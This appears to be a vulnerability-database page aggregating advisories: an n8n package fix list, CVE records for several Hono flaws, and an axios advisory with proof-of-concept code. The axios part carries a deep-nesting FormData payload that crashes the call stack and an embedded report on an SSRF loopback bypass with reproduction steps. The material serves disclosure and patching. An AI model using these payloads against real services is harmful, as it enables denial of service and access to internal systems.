Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package n8n version 2.28.0-r2 fixes 46 vulnerabilities: CVE-2026-14643, CVE-2024-7042, CVE-2025-68665, CVE-2024-7774, CVE-2026-59873...
| URL | Type | ||||
|---|---|---|---|---|---|
|
|||||
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "n8n"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.28.0-r2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.28.0-r2"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package n8n version 2.28.0-r2 fixes 46 vulnerabilities: CVE-2026-14643, CVE-2024-7042, CVE-2025-68665, CVE-2024-7774, CVE-2026-59873...",
"id": "CLEANSTART-2026-YP71540",
"modified": "2026-08-14T05:57:21Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://n8n.io"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in n8n 2.28.0-r2",
"upstream": [
"CVE-2026-14643",
"CVE-2024-7042",
"CVE-2025-68665",
"CVE-2024-7774",
"CVE-2026-59873",
"CVE-2026-13697",
"CVE-2026-69198",
"CVE-2026-27795",
"CVE-2026-26019",
"CVE-2026-16728",
"CVE-2026-16729",
"CVE-2026-59892",
"CVE-2026-39244",
"ghsa-gcfj-64vw-6mp9",
"CVE-2026-14257",
"CVE-2026-15157",
"CVE-2026-69152",
"CVE-2026-69153",
"CVE-2026-18446",
"CVE-2026-71849",
"CVE-2026-69192",
"ghsa-5p4m-2wfm-xmqj",
"CVE-2026-59887",
"CVE-2026-67213",
"CVE-2026-67214",
"CVE-2026-67314",
"CVE-2026-59877",
"CVE-2026-59876",
"CVE-2026-59871",
"CVE-2026-54272",
"CVE-2026-59875",
"CVE-2026-59874",
"ghsa-frvp-7c67-39w9",
"ghsa-42h9-826w-cgv3",
"ghsa-7q8q-rj6j-mhjq",
"ghsa-f4gw-2p7v-4548",
"ghsa-hcpx-6fm6-wx23",
"ghsa-jqh4-m9w3-8hp9",
"ghsa-mmx7-hfxf-jppx",
"ghsa-mwf2-3pr3-8698",
"ghsa-pmv8-rq9r-6j72",
"CVE-2026-69207",
"CVE-2026-53606",
"CVE-2026-71848",
"CVE-2026-71850",
"ghsa-r292-9mhp-454m"
]
}
CVE-2026-69207 (GCVE-0-2026-69207)
Vulnerability from cvelistv5 – Published: 2026-08-07 20:51 – Updated: 2026-08-10 13:33- CWE-1333 - Inefficient Regular Expression Complexity
| URL | Tags |
|---|---|
| https://github.com/honojs/hono/security/advisorie… | x_refsource_CONFIRM |
| https://github.com/honojs/hono/commit/93fc250d8b4… | x_refsource_MISC |
| https://github.com/honojs/hono/releases/tag/v4.12.34 | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-69207",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-10T13:33:06.679047Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-10T13:33:18.783Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "hono",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003c 4.12.34"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.34, the built-in CORS middleware, hono/cors, is vulnerable to a regular expression denial of service (ReDoS). During a preflight OPTIONS request, the middleware parses the attacker-controlled Access-Control-Request-Headers header using a whitespace-tolerant regular expression whose backtracking makes its running time quadratic in the input length. Because the header value is bounded only by the deployment\u0027s maximum HTTP header size, a single preflight carrying a long run of whitespace can consume seconds of CPU and block request processing. On runtimes that share one execution thread across requests, this stalls concurrent requests as well, and repeated requests can render the service unresponsive. This affects the default configuration, since the vulnerable path is reached whenever cors() is used with an unset or empty allowHeaders. Applications that set a non-empty allowHeaders are not affected. This issue is fixed in version 4.12.34."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333: Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-07T20:51:04.300Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/hono/security/advisories/GHSA-8j4g-w8fx-2239",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/hono/security/advisories/GHSA-8j4g-w8fx-2239"
},
{
"name": "https://github.com/honojs/hono/commit/93fc250d8b4df58ea542cb945171de8013d5e6d5",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/hono/commit/93fc250d8b4df58ea542cb945171de8013d5e6d5"
},
{
"name": "https://github.com/honojs/hono/releases/tag/v4.12.34",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/hono/releases/tag/v4.12.34"
}
],
"source": {
"advisory": "GHSA-8j4g-w8fx-2239",
"discovery": "UNKNOWN"
},
"title": "Hono: ReDoS in CORS middleware via Access-Control-Request-Headers"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-69207",
"datePublished": "2026-08-07T20:51:04.300Z",
"dateReserved": "2026-08-03T16:57:50.124Z",
"dateUpdated": "2026-08-10T13:33:18.783Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-71848 (GCVE-0-2026-71848)
Vulnerability from cvelistv5 – Published: 2026-08-07 18:36 – Updated: 2026-08-08 03:04- CWE-407 - Inefficient Algorithmic Complexity
| URL | Tags |
|---|---|
| https://github.com/honojs/hono/security/advisorie… | x_refsource_CONFIRM |
| https://github.com/honojs/hono/commit/f70e2c31684… | x_refsource_MISC |
| https://github.com/honojs/hono/releases/tag/v4.12.34 | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-71848",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-08T03:04:31.560320Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-08T03:04:43.996Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "hono",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.12.0, \u003c 4.12.34"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Hono is a Web application framework that provides support for any JavaScript runtime. From 4.12.0 to 4.12.33, the languageDetector middleware is vulnerable to algorithmic complexity denial of service when processing a crafted language tag containing a large number of hyphen separated subtags. To implement progressive language tag truncation, normalizeLanguage() repeatedly calls parts.slice(0, i).join(\u0027-\u0027) for every possible prefix, so the total amount of string processing grows quadratically with the number of subtags. Language values may come from a query parameter, cookie, Accept-Language header, or URL path, depending on the detector configuration, and the default detector order enables query string, cookie, and header detection, so applications using languageDetector() may expose this processing to unauthenticated requests. An attacker may repeatedly send requests containing long, hyphen separated language tags, causing excessive CPU consumption and preventing unrelated requests from being processed. This issue is fixed in version 4.12.34."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-407",
"description": "CWE-407: Inefficient Algorithmic Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-07T18:36:16.872Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/hono/security/advisories/GHSA-54fx-42gc-7vw4",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/hono/security/advisories/GHSA-54fx-42gc-7vw4"
},
{
"name": "https://github.com/honojs/hono/commit/f70e2c31684387b3231cc38512a31df6ca76a1c7",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/hono/commit/f70e2c31684387b3231cc38512a31df6ca76a1c7"
},
{
"name": "https://github.com/honojs/hono/releases/tag/v4.12.34",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/hono/releases/tag/v4.12.34"
}
],
"source": {
"advisory": "GHSA-54fx-42gc-7vw4",
"discovery": "UNKNOWN"
},
"title": "Hono: Algorithmic Complexity DoS in Language Middleware"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-71848",
"datePublished": "2026-08-07T18:36:16.872Z",
"dateReserved": "2026-08-07T18:26:53.523Z",
"dateUpdated": "2026-08-08T03:04:43.996Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-71849 (GCVE-0-2026-71849)
Vulnerability from cvelistv5 – Published: 2026-08-07 18:38 – Updated: 2026-08-10 12:03- CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
| URL | Tags |
|---|---|
| https://github.com/honojs/hono/security/advisorie… | x_refsource_CONFIRM |
| https://github.com/honojs/hono/commit/720b5662907… | x_refsource_MISC |
| https://github.com/honojs/hono/releases/tag/v4.12.34 | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-71849",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-10T12:02:52.553186Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-10T12:03:12.470Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "hono",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.7.0, \u003c 4.12.34"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Hono is a Web application framework that provides support for any JavaScript runtime. From 4.7.0 to 4.12.33, the Proxy Helper proxy() function in hono/proxy does not remove response headers named by the origin\u0027s Connection header. Per RFC 9110 Section 7.6.1, an intermediary must remove the header fields listed in a message\u0027s Connection header field before forwarding the message, in addition to the well known hop by hop headers, but the proxy() function only removed the well known hop by hop headers, including Connection itself, from origin responses. A client may therefore receive response headers that the origin intended only for its immediate peer, disclosing connection scoped or internal metadata contained in such headers, when an application proxies responses from an origin that declares additional, non standard headers as hop by hop via the Connection response header. This issue is fixed in version 4.12.34."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 3.7,
"baseSeverity": "LOW",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-07T18:38:16.287Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/hono/security/advisories/GHSA-79qm-7rj5-m7r9",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/hono/security/advisories/GHSA-79qm-7rj5-m7r9"
},
{
"name": "https://github.com/honojs/hono/commit/720b566290793d4358bf39843adcb7cf4da4548f",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/hono/commit/720b566290793d4358bf39843adcb7cf4da4548f"
},
{
"name": "https://github.com/honojs/hono/releases/tag/v4.12.34",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/hono/releases/tag/v4.12.34"
}
],
"source": {
"advisory": "GHSA-79qm-7rj5-m7r9",
"discovery": "UNKNOWN"
},
"title": "Hono: Proxy Helper does not remove response headers listed in the `Connection` header"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-71849",
"datePublished": "2026-08-07T18:38:16.287Z",
"dateReserved": "2026-08-07T18:26:53.523Z",
"dateUpdated": "2026-08-10T12:03:12.470Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-71850 (GCVE-0-2026-71850)
Vulnerability from cvelistv5 – Published: 2026-08-07 18:41 – Updated: 2026-08-10 13:26- CWE-488 - Exposure of Data Element to Wrong Session
| URL | Tags |
|---|---|
| https://github.com/honojs/hono/security/advisorie… | x_refsource_CONFIRM |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-71850",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-10T13:26:46.686577Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-10T13:26:55.984Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "hono",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003e= 3.8.0, \u003c 4.12.34"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Hono is a Web application framework that provides support for any JavaScript runtime. From 3.8.0 to 4.12.33, memo() from hono/jsx retains the result of a server side render and reuses it for later renders with comparator equal props, and request scoped values read inside the component take no part in that comparison, so a response can contain HTML rendered for another user\u0027s request. Components wrapped with memo() are compared by props alone; values read implicitly during rendering, such as JSX Context through createContext() and useContext(), useRequestContext() from hono/jsx-renderer, and getContext() from hono/context-storage, do not participate, and the retained result lives as long as the wrapped component, so it outlives the request that produced it. A user may receive a response containing HTML rendered for another user when both render the same memoized component with comparator equal props on the same warm instance, which may disclose another user\u0027s account or profile data, disclose request scoped secrets embedded in HTML such as CSRF tokens, or expose role specific content to users who should not receive it. This issue is fixed in version 4.12.34."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-488",
"description": "CWE-488: Exposure of Data Element to Wrong Session",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-07T18:41:17.068Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/hono/security/advisories/GHSA-f23p-vx2j-j53r",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/hono/security/advisories/GHSA-f23p-vx2j-j53r"
}
],
"source": {
"advisory": "GHSA-f23p-vx2j-j53r",
"discovery": "UNKNOWN"
},
"title": "Hono: `memo()` retains SSR output across requests, leading to cross-user data disclosure"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-71850",
"datePublished": "2026-08-07T18:41:17.068Z",
"dateReserved": "2026-08-07T18:26:53.523Z",
"dateUpdated": "2026-08-10T13:26:55.984Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-42H9-826W-CGV3
Vulnerability from github – Published: 2026-07-20 17:58 – Updated: 2026-07-20 17:58Summary
Axios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON, the helper behind the public axios.formToJSON() / named formToJSON API and the default request transform used when FormData is sent with an application/json content type.
Applications are affected when they pass attacker-controlled FormData field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw RangeError: Maximum call stack size exceeded, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.
Impact
The impact is denial of service against applications that process untrusted FormData field names through axios' FormData-to-JSON conversion.
The vulnerable path is not reached by merely installing axios, by normal multipart FormData pass-through, or by ordinary axios requests that do not request JSON serialisation of FormData. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of formToJSON() throws synchronously.
Server-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with formToJSON() or sends them through axios as JSON.
Affected Functionality
Affected APIs and paths:
- axios.formToJSON(formData)
- import { formToJSON } from "axios"
- lib/helpers/formDataToJSON.js
- axios default transformRequest when data is FormData and Content-Type contains application/json
Unaffected or lower-risk paths:
- Normal multipart FormData requests without JSON Content-Type
- toFormData() object-to-FormData serialisation, which already has a maxDepth guard
- Axios versions before 0.28.0, where this helper and public API were not present
Technical Details
lib/helpers/formDataToJSON.js parses a form field name into path segments with parsePropPath(). For a key such as a[x][x][x], each bracketed segment becomes another path element.
formDataToJSON() then calls the nested buildPath(path, value, target, index) function. buildPath() recursively calls itself once for each path segment and does not enforce a maximum depth:
const result = buildPath(path, value, target[name], index);
A key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws RangeError: Maximum call stack size exceeded.
Axios already applies a depth guard to the inverse serializer in lib/helpers/toFormData.js, where maxDepth defaults to 100 and exceeding it throws AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED. formDataToJSON() does not currently have equivalent protection.
Proof of Concept of Attack
import { formToJSON } from "axios";
const fd = new FormData();
fd.append("a" + "[x]".repeat(15000), "value");
try {
formToJSON(fd);
console.log("not vulnerable");
} catch (err) {
console.log(`${err.constructor.name}: ${err.message}`);
}
Expected vulnerable result:
RangeError: Maximum call stack size exceeded
The axios request transform path can also be reached before network I/O:
import axios from "axios";
const fd = new FormData();
fd.append("a" + "[x]".repeat(15000), "value");
await axios
.post("http://127.0.0.1:1/", fd, {
headers: { "Content-Type": "application/json" }
})
.catch((err) => console.log(`${err.constructor.name}: ${err.message}`));
Expected vulnerable result:
RangeError: Maximum call stack size exceeded
Workarounds
Applications can avoid the vulnerable path by not converting attacker-controlled FormData to JSON with axios.
If conversion is required before a fixed axios release is available, validate FormData field names before calling formToJSON() or before sending FormData with Content-Type: application/json. Reject keys whose parsed nesting depth exceeds the application's expected schema.
For axios requests carrying untrusted FormData, avoid setting Content-Type: application/json; leaving the data as multipart FormData bypasses formDataToJSON().
Catching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation.
Original Report # Axios SSRF via Incomplete Loopback Detection ## CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L --- ## 1. Classification | CWE | CVSS Score | Severity | Type | |-----|-----------|----------|------| | CWE-918 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) | HIGH | Server-Side Request Forgery | ## 2. Description ### Summary The `shouldBypassProxy()` function in Axios fails to recognise `0.0.0.0`, `::`, and `::ffff:0.0.0.0` as loopback addresses. When `NO_PROXY=localhost` is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface. ### Root Cause **File:** `lib/helpers/shouldBypassProxy.js` **`isIPv4Loopback` (lines 3-8):** Only checks for `127.x.x.x` addresses by inspecting `parts[0] !== '127'`. The `0.0.0.0` address has `parts[0] === '0'`, so it falls through as non-loopback, even though on Linux `0.0.0.0` routes to the loopback interface. **`isIPv6Loopback` (lines 10-38):** Only checks `host === '::1'`. The `::` address (unspecified IPv6) also routes to the loopback, but is not recognised. **Attack Flow:**isIPv4Loopback (line 3) — fails for 0.0.0.0
→ isLoopback (line 44) — wraps both checks, returns false
→ shouldBypassProxy (line 127) — PUBLIC API, exported default
→ lib/adapters/http.js (line 190) — Node.js HTTP adapter
### Attack Vector
- **Access Vector:** Network (AV:N)
- **Access Complexity:** Low (AC:L) — attacker only needs control of a URL
- **Privileges Required:** None (PR:N)
- **User Interaction:** None (UI:N)
## 3. Proof of Concept
### Phase 1: Logic Verification
import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';
// Normal loopback — correctly returns true (bypasses proxy)
shouldBypassProxy('http://127.0.0.1:9999/'); // → true
// Vulnerable — returns false (goes through proxy!)
shouldBypassProxy('http://0.0.0.0:9999/'); // → false ← SSRF
shouldBypassProxy('http://[::]:9999/'); // → false ← SSRF
shouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF
### Phase 2: Docker E2E Reproduction
A full 3-container Docker reproduction was created and tested:
- **Proxy container:** Simple HTTP forward proxy on port 8888
- **Internal container:** Internal service on port 9999 (simulates sensitive internal resource)
- **Attacker container:** Runs the test script with Axios source mounted
**Reproduction steps:**
cd /tmp/deep-e2e
docker compose up -d
docker compose exec attacker node test-ssrf.js
**Results:**
- Test 1: `127.0.0.1 + NO_PROXY=localhost` → BYPASS (correct)
- Test 2: `0.0.0.0 + NO_PROXY=localhost` → VIA_PROXY (SSRF)
- Test 3: `[::] + NO_PROXY=localhost` → VIA_PROXY (SSRF)
- Test 4: `[::ffff:0.0.0.0] + NO_PROXY=localhost` → VIA_PROXY (SSRF)
### Phase 3: Actual Axios Client
The real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration:
- Axios with `proxy: { host: 'proxy', port: 8888 }`
- Setting `NO_PROXY=localhost` and requesting `http://0.0.0.0:9999/`
- Result: Axios forwarded the request through the proxy instead of bypassing it
## 4. Impact
### Attack Scenario
1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain)
2. The Axios client is configured with a proxy (e.g., corporate proxy) and `NO_PROXY=localhost` to protect internal services
3. Attacker supplies `http://0.0.0.0:8080/admin` as the target URL
4. Axios sends the request through the proxy
5. The proxy resolves `0.0.0.0` → the proxy's own loopback → reaches the internal admin service on port 8080
### Potential Consequences
- **Information disclosure (C:L):** Internal service responses become accessible
- **Integrity impact (I:L):** Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE)
- **Availability impact (A:L):** Limited — depends on internal service behavior
### Likelihood
- **High** — proxy bypass is a common pattern in microservice architectures
- **Medium** — requires attacker control of a URL (not always available)
## 5. Remediation
### Code Fix
**File:** `lib/helpers/shouldBypassProxy.js`
function isIPv4Loopback(host) {
if (host === '0.0.0.0') return true; // ADD THIS LINE
const parts = host.split('.');
if (parts.length !== 4) return false;
if (parts[0] !== '127') return false;
return parts.every(p => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);
}
function isIPv6Loopback(host) {
if (host === '::1' || host === '::') return true; // ADD '::'
// ... rest of implementation
}
### Workarounds
- Add `0.0.0.0` and `::` to the `NO_PROXY` environment variable explicitly
- Use `127.0.0.1` instead of `0.0.0.0` in all internal service URLs
- Implement URL validation to reject `0.0.0.0` and `::` before passing to Axios{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0.28.0"
},
{
"fixed": "0.33.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T17:58:59Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\nAxios versions `0.28.0` and later contain uncontrolled recursion in `formDataToJSON`, the helper behind the public `axios.formToJSON()` / named `formToJSON` API and the default request transform used when FormData is sent with an `application/json` content type.\n\nApplications are affected when they pass attacker-controlled `FormData` field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw `RangeError: Maximum call stack size exceeded`, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.\n\n## Impact\nThe impact is denial of service against applications that process untrusted `FormData` field names through axios\u0027 FormData-to-JSON conversion.\n\nThe vulnerable path is not reached by merely installing axios, by normal multipart `FormData` pass-through, or by ordinary axios requests that do not request JSON serialisation of `FormData`. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of `formToJSON()` throws synchronously.\n\nServer-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with `formToJSON()` or sends them through axios as JSON.\n\n## Affected Functionality\nAffected APIs and paths:\n- `axios.formToJSON(formData)`\n- `import { formToJSON } from \"axios\"`\n- `lib/helpers/formDataToJSON.js`\n- axios default `transformRequest` when `data` is `FormData` and `Content-Type` contains `application/json`\n\nUnaffected or lower-risk paths:\n- Normal multipart `FormData` requests without `JSON Content-Type`\n- `toFormData()` object-to-FormData serialisation, which already has a `maxDepth` guard\n- Axios versions before 0.28.0, where this helper and public API were not present\n\n## Technical Details\n`lib/helpers/formDataToJSON.js` parses a form field name into path segments with `parsePropPath()`. For a key such as `a[x][x][x]`, each bracketed segment becomes another path element.\n\n`formDataToJSON()` then calls the nested `buildPath(path, value, target, index)` function. `buildPath()` recursively calls itself once for each path segment and does not enforce a maximum depth:\n\n`const result = buildPath(path, value, target[name], index);`\n\nA key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws `RangeError: Maximum call stack size exceeded`.\n\nAxios already applies a depth guard to the inverse serializer in `lib/helpers/toFormData.js`, where `maxDepth` defaults to 100 and exceeding it throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`. `formDataToJSON()` does not currently have equivalent protection.\n\n## Proof of Concept of Attack\n```js\nimport { formToJSON } from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\ntry {\n formToJSON(fd);\n console.log(\"not vulnerable\");\n} catch (err) {\n console.log(`${err.constructor.name}: ${err.message}`);\n}\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\nThe axios request transform path can also be reached before network I/O:\n\n```js\nimport axios from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\nawait axios\n .post(\"http://127.0.0.1:1/\", fd, {\n headers: { \"Content-Type\": \"application/json\" }\n })\n .catch((err) =\u003e console.log(`${err.constructor.name}: ${err.message}`));\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\n## Workarounds\nApplications can avoid the vulnerable path by not converting attacker-controlled `FormData` to JSON with axios.\n\nIf conversion is required before a fixed axios release is available, validate `FormData` field names before calling `formToJSON()` or before sending `FormData` with `Content-Type: application/json`. Reject keys whose parsed nesting depth exceeds the application\u0027s expected schema.\n\nFor axios requests carrying untrusted `FormData`, avoid setting `Content-Type: application/json`; leaving the data as multipart FormData bypasses `formDataToJSON()`.\n\nCatching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n# Axios SSRF via Incomplete Loopback Detection\n## CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n\n---\n\n## 1. Classification\n\n| CWE | CVSS Score | Severity | Type |\n|-----|-----------|----------|------|\n| CWE-918 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) | HIGH | Server-Side Request Forgery |\n\n## 2. Description\n\n### Summary\nThe `shouldBypassProxy()` function in Axios fails to recognise `0.0.0.0`, `::`, and `::ffff:0.0.0.0` as loopback addresses. When `NO_PROXY=localhost` is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy\u0027s loopback interface.\n\n### Root Cause\n**File:** 